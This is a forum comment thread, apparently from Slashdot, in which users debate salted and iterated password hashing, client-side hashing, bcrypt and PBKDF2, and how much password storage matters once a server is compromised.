Not really; it just shifts things around a bit. Replay attacks would work just fine and it doesn't solve the issue of securely storing the hashes at all.

Re:Who cares what method?

[Rophuine]

Uh, what? The browser hashes the password? Now you don't even NEED the password; you have the hash, and that's all the client needs to submit to gain access! You just pretend that you hashed the password and transmit the hash. No password needed! Unless, of course, you submit the password AND the hash, but that doesn't gain anything over just submitting the password (except perhaps proving that the client has a working hash function).

Remember, we're talking about what happens when the database of stored hashes is compromised, and having the browser do the hashing makes this scenario MUCH worse.

Re:Who cares what method?

[Rophuine]

It doesn't even require a replay attack. We're talking about what happens if the database of stored hashes is compromised, and if the client does the hashing instead of the server, you don't even need the password. You can just submit the hash from your stolen database to sign in as the user.

Re:Who cares what method?

[StikyPad]

Right, that's what I was trying to say, but you did a better job. Such a system is essentially the same as using plaintext passwords.

Re:Who cares what method?

[Anonymous Coward]

Hum... sorry, if you send the hashed value from the client, it's no different from sending the password. I mean, the procedure was :

1. Clients send secret
2. Server authenticate client using secret.

Now, you hashed the secret but still just uses what the client sends as an input, nothing has changed...

Re:Who cares what method?

[Anonymous Coward]

string pass = request("userspass")
// SendTheHackerThePassword(pass)
if UNBREAKABLYGOODHASH(pass, salthash) = RetrieveSaltedDBpasshash(username) {
            SendTheHackerThePassword(pass)
            UserAuthenticated
}

FTFY

Re:Who cares what method?

[Anonymous Coward]

Crap, I disable scripts in my browser. Now I can't use your site. /cry

Re:Who cares what method?

[wraithguard01]

Eh, hash the hash server side. Still though, if you can simply inject bad javascript, it doesn't matter at all.

Re:Who cares what method?

[xouumalperxe]

So limit what machines see that password. Have your web client hash the password before if goes to the host (even when it's a secure connection)

If the browser hashes the password, then the server only compares that hash with the hash in storage. So I can just look at the hashes on the server and send that exact string. You just turned your server-side hashed passwords into plain-text passwords. So... congratulations, you just made the whole point of hashing passwords invalid!

Re:Who cares what method?

[gnieboer]

I oversimplified my description. You'd need to do a challenge-response system so that the server sends a random hash, it's hashed with the password on the client, which is returned, hashed with the salt value, and compared with the stored value in the database hashed with the random value

Stored value = Pass Hash + Salt Hash
Client value sent = Pass Hash + Random Hash
Compared values = Pass Hash + Random Hash + Salt Hash.

In addition, even if you didn't do it this way and just hashed the password (which I agree isn't as good as the above), then you still can't just send values from the DB because remember that the DB's values are salted, so are != the pass hash alone.

But if the box is rooted, again, even this approach won't save you because as was mentioned, the box can send malicious web code to the client to execute which will send the plaintext password to wherever the hacker wants it.

A Continuum of Security

[bk2204]

There are basically four levels of security with passwords. The first one is an unencrypted password. It's obvious why this is a bad idea. The second is a hashed password. This is, however, subject to a trivial dictionary attack. The third is salted and hashed, and the last is salted, iterated, and hashed. The benefit of iteration is that it slows down the attacker a huge amount. So while salted and hashed is much better than just hashed, it's not really ideal.
OpenPGP provides the last three types and strongly encourages using iteration. WPA2 uses PBKDF2, which is iterated and salted. It's clear that if you want real, cryptographic security, you should be using an iterated and salted method. But using just salt is a much, much better idea than without salt at all.

Re:A Continuum of Security

[LDAPMAN]

There is a fifth level in which the password is used in conjunction with RSA pubilc/private keys. This is what is used in Novell eDirectory. Much more secure than a hash.

Re:A Continuum of Security

[Anonymous Coward]

It isn't used in novell edirectory at all. eDirectory is simply one of the products that can support it, just like every other directory product on the planet (even MS AD), the way you wrote that you make it sound like they are doing something special,

Password stretching etc

[Cato]

The solution to this is simple: just iterate the hash function many times so that the time to hash the password is (say) 300ms - unnoticeable to an interactive user, but significant for a brute force attacker. This is called password stretching, and is as important as salt.

See http://www.openwall.com/articles/PHP-Users-Passwords for a review of this and other password hashing issues - not just for PHP, this article gives the thinking behind phpass which is now used in Drupal, and has been reimplemented in other languages. phpass includes bcrypt() as an option but can work even with really old PHP versions that only have MD5. Just because MD5 and SHA1 have been cracked to some degree doesn't invalidate them for password hashing with salt and stretching.

Key derivation functions perform essentially the same operation as password stretching, see http://en.wikipedia.org/wiki/Key_derivation_function - there is an IETF RFC for this.

Digression: Windows 7 still doesn't use salted passwords, which is why it's so easy to crack Win7 passwords given the hashed password, using Rainbow Tables - see http://en.wikipedia.org/wiki/Ophcrack - try the vendor's scarily good online password hash cracker for yourself...)

Most importantly: don't even think of implementing your own crypto code unless the above is very old news to you, because you WILL get it wrong - the examples of unsalted and unstretched passwords are only the beginning. Instead, search for a credible crypto library in your chosen language, and if necessary write a C wrapper so that your preferred scripting language can access a good C/C++ library such as Crypto++ - http://www.cryptopp.com/

Re:Password stretching etc

[Anonymous Coward]

It's only easy to apply a rainbow table attack against Win7 when the passwords are weak. Look at the tables available for OphCrack 3 - they only go to 9 characters for strong passwords, and the WinVista (and presumably Win7) tables for 8 & 9 characters are huge, cost money, and exclude punctuation characters.

Even in Win2000 you could force the OS to use NTLM hashing by supplying a password longer than 14 characters, preferably with mixed case and at least one digit and punctuation character. Non-technical users may not be aware of this, but most slashdot Windows users are probably clueful enough to use strong passwords.

And how would you propose storing the salt such that crackers cannot read it off the system? Probably TPM hardware would suffice, but storing it in the registry, the drive's HPA, ordinary BIOS, and so on wouldn't resist determined attacks.

- T

P.S.: (off topic) This site has become damned near impossible to use as an AC with scripting disabled. And what genius decided that the "Idle" comment box size was so good it should be used everywhere else? The prior two or three site renditions were no prize-winners, either, but this is far worse. What a sad decline.

Re:Password stretching etc

[Cato]

I'm willing to bet that 95% of all Windows passwords are 8 characters or less - even clueful users may think there's a limit to how many 14 character passwords they can remember, and of course they should not be re-used.

Since a given Windows box (particularly for servers) will have quite a few userids, you only need to crack one password to get a foothold for privilege escalation. However, a bigger issue is dictionary passwords - the Openwall team also wrote "passwordqc" which is a PAM module to check password strength when setting passwords.

On the salt - it doesn't need to be any more secure than the password hash. Both should have ACLs stopping anyone reading them, to defend against offline password crackers of all types. The salt just needs to be unique per userid, so that any rainbow table is useless and a brute force cracker must typically re-crack the hashes for two users with same password.

Exactly

[Anonymous Coward]

I thought the main purpose of salts was to defend against rainbow table attacks and to add some overhead to dict/brute attacks? Isn't all this other talk basically irrelevant?

If someone is going to steal your hashes and dictionary attack your hashes, they're going to do it. No amount of fuzzing, fudging, and otherwise trying to obscure the hashes will change that.

Isn't this already a commonly accepted and known *human* problem? Why are we still discussing this after so long? No matter what kind of fancy schmancy security feature you have, you need to make sure that the *human* picks a sufficient password that is not easily guessed. End of story.

Just people with no clue what they are doing

[gweihir]

Anybody halfway competent knows that you need to iterate your hash to create a certain attack effort. Then you need to selecti iteration count to create a certain, desired attack effort. Even the venerable, DES-based original UNIX crypt function already did this. Today there are multiple, well established options like PBKDF2, besides just iterating a standard hash for, say 1 second on a current CPU. People doing a single hash iteration are simply incompetent and did not research the issue at all.

Not news, just people with no clue about cryptography or IT security implementing broken security functionality that is easily cracked.

When the attacker has gained full control

[Big_Mamma]

You have already lost everything. Just edit the login form to mail all the passwords to you and kill the session table. Done. No amount of salting trickery will save you.

The article is kinda stupid too - who in the world still uses a static salt? Most proper frameworks like django use algo$salt$hashed value in the database, so the developer can switch algorithm any time and have it applied on next login and use unique salt values per user. Running SHA1() a hundred times won't turn a polynomial time problem into exponential time, there will always be a better GPU next year which can create rainbow tables just as easy.

Just save the "password" as a three part tuple and use unique salts. You'll be safe until they finally get quantum computers working.

"Dynamic" hashing isn't cryptography

[gmiller123456]

The problem with the "dynamic hashing" solution to the problem is it fails to account for the fact that a devoted attacker is going to be willing to dedicate vastly more resources to cracking it than you are to securing it. Dynamic hashing grows linearly with the amount of computing power used to secure it vs how much it takes to break it. So, for very weak passwords, rather than it taking .1 seconds to crack, it takes five minutes, which is not likely to deter any attacker.

It might deter someone from cracking a large range of passwords to your systems, or someone from guessing the password to your blog's administrative account. But it's not something you can rely on for systems that would be targeted by devoted attackers. At the end of the day, weak passwords cannot be made a secure authentication method.

Security is about reducing, not eliminating, risk

[gorfie]

Think about a car. You can install an alarm, tint the windows, deploy the Club(tm), lock the doors, and point a camera at it. However, no matter how many security precautions you take your vehicle can still be broken into and/or stolen. Security is about deterring criminal behavior. There is no way to completely eliminate that risk - it can merely be reduced. The same concept applies to Web application security. I'm not saying you shouldn't bother encrypting (that would be unwise), but you shouldn't assume that encryption will protect you.

Relying on MySQL

[Anonymous Coward]

mysql only offers AES, DES, MD5, and SHA... So... for at least a certain subset of developers, thats what they're going to use.

I'm not saying they're correct to do so, I'm just explaining why they will not even consider your suggestion, because they have architectural problems, for them its not as simple as search and replace all calls to md5() with bcrypt().

Who would send plain-text passwords for MySQL to hash? This should only happen when changing the password to the MySQL account, not when creating / modifying accounts for the application's users.

Re:Relying on MySQL

[fusiongyro]

It's quite reasonable to expect real databases to handle things like login and storing the passwords, especially if they're already storing users. This is, after all, what databases are for: data management. If you want multiple applications to use the same database (and you should, because databases are integration technology, not merely storage technology) then you want them all to be able to authenticate the same way, easily, and you want that functionality managed centrally with the data itself. PostgreSQL's supplied pgcrypto extension has a crypt function that works like bcrypt and uses whatever salt is stored in the password hash. The documentation shows how to use this to implement secure password storage and authentication.

Of course, if you're using MySQL, you already have an architecture problem.

Re:Relying on MySQL

[The Moof]

It's quite reasonable to expect real databases to handle things like login and storing the passwords, especially if they're already storing users.

That's not his point. His point is that if you send the password in plain-text to MySQL for hashing and comparing, it's a security hole in the application design. The password is now traveling over a network in plain-text and would be trivial to intercept. It's as easy to sniff unencrypted MySQL traffic as it is to sniff unencrypted HTTP traffic.

Re:Relying on MySQL

[CastrTroy]

If people are sniffing the data between your web servers and you have problems already. If you're using a proper switch, and not a hub, then sniffing actually becomes quite difficult, unless you have access to the wires or the servers themselves. If you're worried about your own employees sniffing passwords, again, you have bigger problems.

Re:"Maybe enforce three word minimum"

[tuffy]

You can force people to need passwords, but you can't force them to care. A lot of accounts on a lot of sites are considered disposable by a large number of people. Therefore, they'll always choose a password that's as trivial as allowed.

Stop

[sakdoctor]

What utter, utter nonsense.
You don't iterate a hash function. That's just cryptographic hand waving. Pick a hash function that has not been broken with respect to password storage, then use a longer password, or key.

HMAC is for message authentication codes. You do, in fact just use string concatenation for adding salt.
NO HMAC, NO XORing, NO interleaving, JUST concatenation. Anything else is yet more cryptographic hand waving.

Re:Stop

[sakdoctor]

(Whoops, copy pasted link from wrong tab)

Re:Stop

[Twylite]

Ah yes, cryptographic hand waving - what those damned cryptographers just insist on doing do when they're right.

Re:Stop

[sakdoctor]

The point basically was, use a stronger key in the first place, rather than layering on key strengthening techniques.

Re:Stop

[Stellian]

You don't iterate a hash function. That's just cryptographic hand waving

That's exactly what common password strengthening algorithms like bcrypt or PBKDF2 do. They are carefully designed for the purpose of increasing brute-force computational cost and of course don't simply do MD5(MD5(MD5(....MD5(x)))).

HMAC is for message authentication codes.

That's what an encrypted password is a MAC from the user that authenticates the salt using his password. In this instance however, since the attacker can't control the salt nor password, using a HMAC will not buy more security. Guilty as charged of hand waiving :)

Re:Stop

[sakdoctor]

I guess I made a "hash" of making my point.

Case study:, people trying to increase security be doing odd things such as first hashing with SHA1, then MD5, and many, many strange combinations. None of which actually improve security.
Not even security though obscurity, but obscurity though spaghettification.

Bottom line: Stop torturing that weak hash algorithm. Feed a strong key into a strong hash.

Re:Stop

[Stellian]

The point basically was, use a stronger key in the first place, rather than layering on key strengthening techniques.

And it's wrong. You might use a 256 byte passphrase, but the average PayPal user has 42 bits of entropy in his password. If you can stretch that to 60 - 70 bits using password strengthening techniques, it's a huge security improvement for your system.

Re:Stop

[atamido]

Running it through multiple uncompromised hashing schemes does increase the complexity of attempting to reverse a valid password as it would require breaking multiple schemes first. Most passwords are simple enough that various forms of dictionary attacks or brute force are adequate, however not all are. An all lowercase 8 character password is the equivalent of a 38-bit key, and is a real candidate for brute force. A 10 character password potentially featuring mixed case, numbers, and symbols has roughly the same complexity of a 64-bit key. In such a case, a brute force attack is no longer practical, and reversing the key becomes the best option (assuming you've got the talent on hand to find good attack vectors).

Re:Stop

[after.fallout.34t98e]

What HMAC does provide is a method which accepts both a message (the password) and a key (the salt) and an algorithm which supplies a single hash.

It is at least as strong as SHA(password+salt), and you don't have to worry about if you implemented it right. Ie is correct password salting like this:
function hash(password,salt) { return SHA(password+salt); }
or this:
function hash(password,salt) {
        (salt1,salt2)=split_salt_somehow(salt);
        return SHA(SHA(password+salt1)+salt2);
}

(hint, the latter is better and is what is done internally inside HMAC)

With HMAC, an organization doesn't need to be concerned about the proper implementation of a password hash:
function hash(password,salt) { return HMAC(password,salt); }

tptacek has been talking about it for a while now

[yuhong]

I remember people like Thomas Ptacek warned against it years ago, particularly after a fiasco started by a blog article on Coding Horror on rainbow tables.

Well, it depends...

[rochberg]

Articles like this annoy me, because it assumes that security is binary. Either your system is secure or it is not. That's crap. Security goals are defined relative to the sensitivity of the resources being protected, and to the aims of the organization.

The real problem is not how you are storing your passwords. The real problem, if your organization is trying to protecting something of value, is that you are relying solely on passwords to begin with. Multifactor authentication, intrusion detection/prevention systems, and auditing are minimums for real security. And, hey, if you're protecting something really sensitive, say the control system for a nuclear reactor, then toss on RBAC with separation of duty.

So I really don't care that Gawker got hacked and their passwords leaked, because those credentials should not be sufficient to access any resource of significant value.

News Flash : Passwords are brute-force attackable

[Anonymous Coward]

The discussion here seems largely ignorant of the fact that passwords are now brute force attackable using most common cypher methods.

I'm not talking about dictionary attacks, I'm talking about brute-force attacks of the entire 'likely password space' (assuming one has the password hash). The trouble is that passwords simply contain too little entropy to prevent brute force attacks. Typical passwords are 7-10 characters. Even with numbers, symbols, and digits, that simply is not a very large entropy space. How many random characters can a person really remember as a password? If an attacker can get ahold of the password-hashes and knows the hash-method, getting ahold of enough computers to brute-force-break typical passwords is just a botnet (or Amazon EC2 account) away.

The primary security we can offer is not allowing attackers access to the password hash. This means every attack attempt must operate through some type of service -- which means it can be observed and is very slow. If we wish to deter brute force password attacks, we should consider using one-way-hash methods which are designed to be thousands-of-times slower than current methods. Even that will only last a short while with Moore's Law around.

need convenient packaging of algorithms

[bcrowell]

One reason people use MD5 and SHA1, even if they may not be optimal for a particular purpose, is that they're universally available. For example, any standard install of perl or ruby has MD5 available without installing any additional libraries. I have a perl application that I originally wrote using SHA1 for watermarking, but I started getting worried as I heard reports of SHA1 collisions being generated successfully and of possible weaknesses being found in SHA1 by cryptanalysis. I upgraded my software to use the Whirlpool hash, but that was a massive pain, because the perl implementation of Whirlpool hadn't been packaged conveniently for Debian/Ubuntu. What we really need is for a greater variety of state of the art crypto algorithms to be packaged conveniently, so that people will actually USE them.

Writeup on PBKDF2

[jas4711]

Here is a writeup on why salting AND iteration counts on password key derivation function matters: http://blog.josefsson.org/2011/01/07/on-password-hashing-and-rfc-6070/ Salting by itself has been known to be insufficient for decades.

In a related story....

[bigtone78]

If a burglar climbs in through your window is a dead bolt on your door enough to keep him out. This and more at 11.

Re:First Post!

[A beautiful mind]

The purpose of a salt is to compartmentalize a password hash. I agree with what you said, I just wanted to add a quick soundbyte to use when explaining why a salt is needed for say, anything above 10 users.

When an attacker has root...

[Anonymous Coward]

>> "When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords"

but when an attacker gain root your fuxx0red anyway... You can't know which user connected to the rooted server or not (remember, they gained root, they can make you believe anything they want), so you can consider every single user's password compromised.

Run bscript or something similar on a hardened OpenBSD box, with a firewall only accepting inputs from the IPs of your servers facing the wild wild web and the probability that someone will gain root and access to the passwords suddenly becomes very small.

I mean, seriously... "when an attacker gains root" don't you have bigger problems than the attacker knowing the salt you used?

salt sure, but no passwords...

[Anonymous Coward]

"When an attacker has root access, they will get your passwords, salt, and the code that you use to verify the passwords."

btw no they won't. They'll get the hash of the passwords. They can then run a dictionary attack using the salt they found but the probability that they have rainbow tables handy for every single salt in existence is 0. That is precisely the point of a salt.

Real Security accounts for social factors

[Dalcius]

You're spot on. All it takes is one $0.02 sticky note with a Mult1pl3.R3str1c71Ons.En4rced password written on it to make all this huff and bluster worthless in most IT environments.

People seem to forget that Users use computers. Not Security Nuts. Not IT staff.

Real security accounts for social factors. The reason the Sup3r!Pa55w0rd policy fails is the same reason the easiest way into a network is often social engineering. Users. Security is not purely technological problem.

Security starts with taking your weakest link into account. Hint: It isn't that your "10 character minimum, 2 character subset" requirement is too weak.

One problem, not two

[DragonWriter]

Yes, if an attacker roots your box, you have a much bigger problem. But the point is that you now have two problems: your box is rooted, AND all your customers' passwords are exposed.

Those are not two problems. The problem "your box is rooted" is simply another way of saying "all the data on or transiting the box is exposed to the attacker". So, you can't then go and describe as separate problems from the "your box is rooted problem" each of the categories of data that happen to be on the box being exposed.

Re:One problem, not two

[Anonymous Coward]

By that logic passwords should be stored in plain text.

Re:One problem, not two

[Chas]

By that logic passwords should be stored in plain text.

You're not listening. Root already owns the system. Making the database spit the passwords back to the attacker is simply a matter of time. Yes, LONGER with more secure encryption, but still only a matter of time.

Car analogy

[dna_(c)(tm)(r)]

It's like warning for the danger that the thief driving away with your brand new car now has the ability to pick its door lock.

The issue might be more relevant for passwords passing over a network in clear text - but there are better solutions for that, llike https.

Re:Car analogy

[Jave1in]

No its not. Its like warning for the danger that the thief driving away with your brand new car now has the keys to all your friends cars. If you're hashing user passwords, its likely those users use the same passwords elsewhere. And if your database happens to have their emails (like most do), an attacker has a great place to start trying those passwords.

Salting with username

[Miamicanes]

Does anybody know why it's a bad idea to salt passwords with usernames (or hashes of usernames)? Say, something like...

$username = "linus"

$password = "tux4me"

client asks server for salt to use with $username

server returns md5("common2allUsers" . $username). Client doesn't do this directly to make it less publicly obvious that the first salt is "common2allUsers". Salt is algorithmically-determined by username to avoid revealing whether or not a given username is valid to attackers. Server uses md5 for speed, since this particular hash is partly just obfuscation and security theater.

client calculates $passhash = sha-1($commonSalt . $password)

client sends $username and $passhash to server.

Server looks up $usersalt associated with $username in database. If $username doesn't exist, server pretends salt is 'badU53r' and proceeds with lookup anyway to reduce vulnerability to timing analysis attacks.

$storedSaltedHash = sha256($usersalt . $passhash)

Server looks up userid associated with $username and $storedSaltedHash

Rationale for hashing before sending to server: to obfuscate the password in case it ends up being revealed in a log somewhere.

Rationale for hashing the hash again: to use a unique hash for every user, without revealing the hash or enabling attackers to harvest usernames.

Drawbacks: 1) increased server workload. 2) ???

Re:Salting with username

[maxwell demon]

2) Won't work if the user has JavaScript disabled.

Re:Salting with username

[Rophuine]

You've basically described how it usually works, except that instead of having the client perform a hash, we have the client encrypt the communication over SSL. The advantage, that the password can't end up accidentally in a log file, means now that instead of the password, the hash that the client sends would end up in the log file. I'm worried that you're adding to the complexity of your code in order to prevent an avoidable bug - it seems like you'd be better to just ensure that sensitive information isn't showing up in your logs (which is a crucial step in avoiding security holes; it's specifically addressed in, for example, the PCI security standard).

Re:Salting with username

[Miamicanes]

Clarification: Android app, not browser-based webapp. ;-)

Re:Salting with username

[Miamicanes]

Just to clarify, SSL is assumed to be getting used in addition to everything I described. Also, I forgot to mention the other reason for double-hashing -- to ensure that WE never come into direct contact with the user's plaintext password, either. Why? Like it or not, most users use the same set of passwords for nearly everything they touch. So... a compromise ends up having lots of potential collateral damage as well. In this case, even if our own server got completely pwn3d, and attackers gained the ability to directly intercept incoming requests, all they'd get are the hashed passwords that were salted with the same value. The users would be in no worse of a position than they'd have been in if we salted everyone's passwords with the same publicly-known value.

Re:Salting with username

[Rophuine]

Wow. Just wow. I NEVER learn anything from /. comment threads, especially about security (I would argue that nobody does, because most of what's said is wrong), and I think I just did!

It's worth noting that this benefit relies on your application server not being compromised, as if an attacker owns that, they can change code to move the client-based hash step to the server (changing the client AND server code), and still see passwords. So you're really only protecting against network-sniffing attacks, which are USUALLY prevented by SSL anyway. This actually gives me an idea, but I'll have to think about it. Something along the lines of using an MD5 of the sign-in page itself as a part of the process, so changing the page will break things. That's obviously vulnerable to exactly the same attack, but perhaps there's an extension to this which might work.

You have also prevented plain-text reveal in the situation where someone somehow intercepts the post-SSL stream but can't alter the application, which is certainly a possible scenario.

There's a major benefit, with this scheme, if you're using a dedicated ssl server and relying on a secure network behind that (which is not uncommon in higher-load applications) - compromise of the ssl server doesn't lead to compromise of plain-text passwords. The attacker would need to take the next step and own the application servers behind that, and given that this scenario only crops up in high-volume load-balanced systems, there are likely lots of identical systems to deal with, and (hopefully) switched-on administrators and security experts, so adding another step like that could vastly decrease the chance of a complete compromise. The attacker would already own login details to the attacked site (they could replay hashes from the owned SSL appliance), so there's every chance they'll take that and never even try to compromise the application code itself, thus never leading to the plain-text reveal.

Key Portability / Certificate Revocation

[rsborg]

The problem with non-password solutions amounts to two issues: Key Portability and Certificate Revocation.

So you have this nice certificate based system with known ecosystem of trusted servers and clients. How do the user add a new client? How does the admin go about revoking a compromised one? Biometrics guarantee a portable, complex private key, but cannot easily be revoked. certificate key files can be revoked but are now not very portable (without compromising security). The fact that the modern internet relies on extremely portable access, the moving of certificates is a big issue.

It's not the crackers I fear

[SpaghettiPattern]

It's not the crackers I fear but the idiots building web applications with crap security. I am not shitting you when I say that my computer parts supplier -whom I highly esteem- periodically sends me a clear text message containing my user name AND password. Just to keep me abreast. I've already emailed them that it is absolutely unacceptable that my password is saved as clear text but a sensible reply never came about.
I stopped imagining how the shop functions and who has access to my password and resolved to never use that password anywhere else, to refrain from storing any payment information on the site and to wire instead every purchase I make. Worst case here is that some joker logs in and orders a shit load of items and I have to explain to the supplier that they are idiots.

Generally speaking, when a node is compromised then password security is lost as there mostly will be a process reading your password in clear text. Using mechanisms with private and public keys will not expose your private key but the session on the server side is pretty much useless.
Then again, there isn't yet a generic system available whereby you own a private key in hardware which you yourself do not even know, which works on every conceivable operating system. If think you have already the answer then consider that storing your private key on a host you think will never be compromised is pretty endearing or actually incredibly pathetic.

There should be laws against storing clear text passwords and against organisations not being able to recognise if their systems are compromised. My take is this will take a few decades though.

Re:It's not the crackers I fear

[Anonymous Coward]

Those who have access to your password:
At the computer parts supplier: The email administrator of the outbound mail server, the application support team, the database administrator.

On your end: The email administrator, the spam filter administrator, anyone shoulder surfing.

I'd stop doing business with that company.

Re:It's not the crackers I fear

[SpaghettiPattern]

Those who have access to your password: At the computer parts supplier: The email administrator of the outbound mail server, the application support team, the database administrator.

On your end: The email administrator, the spam filter administrator, anyone shoulder surfing.

I'd stop doing business with that company.

Well that's basically everyone and their dog. I know. The problem is their service otherwise is flawless and I'm willing to take the chance.

They basically gave themselves away by emailing passwords as a reminder. A very marginally less grave situation would be if they would store passwords but wouldn't email them to me (or anyone else.)

Ask yourself if the shops you are dealing with store your password as clear text. Done that? Are you completely sure they won't? Not very reassuring, is it?

SHA-256 and SHA-512

[VGPowerlord]

Ulrich Drepper has an interesting article from 2007 about updating the UNIX crypt() command to support SHA-256 and SHA-512.

This is currently used in several modern Linux systems, such as Fedora and Ubuntu. I haven't a clue if any of the BSD systems use it.

It does not appear to be rolled into GNU crypt, at least not according to its documentation.

for the paranoid: sha512 rounds=250000

[dermond]

i think the default is that it runs 5000 rounds of that hash for your passwords. if you are really paranoid like me then put something like this in your /etc/pam.d/common-passwd
password required pam_unix.so nullok obscure min=8 max=20 sha512 rounds=250000
this needs a few seconds on a 2.5Ghz AMD. so you should be safe against dictionary attacks as long has your password is not 12345678 or april1

Making False Assumptions

[0ptix]

You are making very strong assumptions about your AES256 implementation (or what ever other block cipher).

On a technical note you assume that whoever coded the implementation of AES did not chose to make it so that it only decrypts a ciphertext with a valid password and otherwise returns "fail". This is trivial to implement: to encrypt m as 0000...000|m. To decrypt, first decrypt then check if the result has 0000...000 as a prefix. If not output "fail" otherwise output m. This this could well be considered a "useful" feature of the implementation as it avoids higher level applications using AES from having to deal with bad passwords.

More formally, from a crypto stand point you also make un-realisable assumptions. A block cipher is essentially pseudo-random permutation. You are suggesting that selecting a random PRP p1 from the AES family (i.e. a random password), computing it in the forwards direction to get p1(m)=c, then selecting another (arbitrary!, not random) PRP p2 from the family and then inverting it to get p2^-1(c) = m' would give you a uniformly distributed m' that is independent of m and p1. No way. Formally you are assuming AES is a family of (invertible) random oracles! But it's trivial to see that random oracles can not be implemented by any poly-time algorithm. So regardless of how it is implemented this can not possibly be more then a heuristic.

Conclusion: don't assume decrypting with a bad password gives a random output independent of the message in the ciphertext. This is an extra (and formally a false) assumption on your implementation!

Re:Making False Assumptions

[mysidia]

On a technical note you assume that whoever coded the implementation of AES did not chose to make it so that it only decrypts a ciphertext with a valid password and otherwise returns "fail".

No. That is not a necessary assumption. It is fine to decrypt a ciphertext with a key based on an invalid password; however, the HASH of the result will not equal the hash of the ciphertext decrypted using the legitimate password.

Specifically: SHA256( AES_DECRYPT ( AES_ENCRYPT( SALT using key generated from PASSWORD ) ) ) using INVALID PASSWORD will not equal SHA256( SALT)

It is not necessary for AES to "fail to decrypt" anything. The assumption is that the same ciphertext will decrypt to something different when the key used to attempt to decrypt it is different.

This assumption is strongly tied to the assumption that "the only way to decrypt the ciphertext is to use the right key". If you could manipulate an incorrect key to decrypt the message, that would mean you have broken the cipher.

Yes, that.

[jonabbey]

But it is rolled into glibc, and into libc on Solaris, and elsewhere.

We ported Drepper's SHACrypt() to Java for Ganymede, and use it for password hashing.

Simple solution

[Lord Bitman]

Stop using passwords. Passwords suck.
Any time you are currently exchanging a shared secret is a time you should be exchanging public keys.
Don't worry about "man-in-the-middle" if the alternative is "man anywhere on either side or the middle at any point now or in the future."

Re:Simple solution

[Anonymous Coward]

I'm curious. Is there a website anywhere that uses public keys for authentication? I've never seen this, and I'm wondering how it would work.

Plus, could it be simplified enough that little old ladies could use it?

Active attacks vs. passive password-file attacks

[billstewart]

If somebody has root access to the machine, with actual write access to the software, hashing doesn't matter, because the attacker can do an active attack that gets the raw password that the user types into the login prompt or login web page, before it gets hashed and compared with the stored hash. They can only steal passwords from users who are actually logging in, not from the stored hashes of inactive users, but you're still toast. That's why hashed passwords are obsolete for many applications, and you need to use public-key digital-signature protocols instead - .

Hashing can protect passwords from people who have read access to the password file, which is why the original Unix /etc/passwd didn't need to be protected until a few years of Moore's Law made it easy for password crackers to crack obvious passwords and people grudgingly moved passwords into /etc/shadow (and probably made a few more commands run setuid root that hadn't needed it before.)

Basically, if somebody has access to the password file, and your password is in /usr/dict/words or the OED or is something else obvious, like your dog's name spelled backwards, it doesn't matter if your password hashing algorithm is SHA-256 with a 512-bit salt; if the hash takes much more than a second to calculate on your CPU, it's too annoying to the users, and otherwise the attacker can try a million obvious passwords in a million seconds on a CPU like yours, or in a couple thousand seconds on their GPU farm or PS3.

Silly passwords

[Khyber]

You guys and your silly passwords.

You don't have your stuff encrypted against your DNA profile?

No wonder your passwords are so easily broken.

when working with crappy vendor provided systems

[decora]

the whole thing falls apart.

there might be a big machine manufactured in 1995 that people need to use 30 times a day, but only one person can log on at one time, and logging off/on takes 15 minutes per login... guess what happens? people share passwords because otherwise they couldnt get any work done, but theyd also get fired for having low production numbers on their efficiency reports (because they are standing around all day waiting to logon)

then another vendor decides to outsource their program so now its over the cloud instead of in your company, now your single-sign-on doesnt work anymore, you have 200 employees who now each have 2 passwords instead of 1. and by the way a new timeclock system will now require a 3rd password. and an HR benefits system, a 4th password. voicemail? 5th password. oh and your cafeteria card, 6th password.

what can the IT people do about it? nothing. they dont control what vendors get chosen. they dont control anything really.

Citation needed

[RichiH]

So, it introduces a work factor.

Where is the extensive cryptanalysis proving that this does not weaken the result, allowing me to make guesses about the input? And how do you know there aren't any shortcuts to get to the result?

I note that the initial paper is from 1999, a time when MD5 was state of the art.

Excuse me for doubting this scheme without further proof.

Do you know SRP ?

[Anonymous Coward]

Let make thinks clear :
1) no method will make a weak password strong
2) if the attacker get its hands on a "verifier"(hash, salted hash, ...) a brute force is always possible
3) applications/protocols that transmit the hash to the server, even over a secure link like SSL, are subject to impersonification attacks if the attacker get its hands on the verifiers

While there is no magic for 1), SRP (http://srp.stanford.edu/) has been known for some time to solve 3) and help a little with 2).
For those too lazy to check, let's say it is a kind of SSH authentication that does not require you to trust the server fingerprint :)

SHA-1 and md5 are dead quit comparing to them

[Anonymous Coward]

Why oh why do people keep basing these arguments on md5 and sha1, why not instead base these comparisons on the methods currently approved by NIST?
http://csrc.nist.gov/groups/ST/hash/policy.html

I don't know too much about bcrypt but if your entire system is compromised and the hacker has root access on the system as well as full access to your data and code, will using bcrypt prevent them from looking in your code to see the exact method you are using (salts and settings) to create your hash then duplicating that method? I also find the 'use bcrypt because it is computationally expensive' argument somewhat suspect, for example just because I choose to calculate 4x9 as 9+9+9+9 doesn't mean that a solution involving multiplication ceases to exist. I'm also curious as to why the main propaganda for bcrypt seems to be that codehale page which recommends bcrypt based on some retardedly simple arguments. Why isn't NIST or Bruce Schneier advocating the use of bcrypt?

TFA did not understand hashing and salts

[allo]

a salt is (semi)public. You store
hash(pw+salt), salt

this just prevents an attacker from doing:
dictionary -> dictionary of hashs
and thus finding passwords in the dictionary. the attacker needs to create n hash-dictionaries for n accounts.

sha1 is fast. it should be. a slow algorithm is as good as a fast one, if you look at O-Notation. And computers get faster. If the password is long enough, this does not matter, because password length is exponential in computing time, so the difference between two algorithms is very little, because its only linear.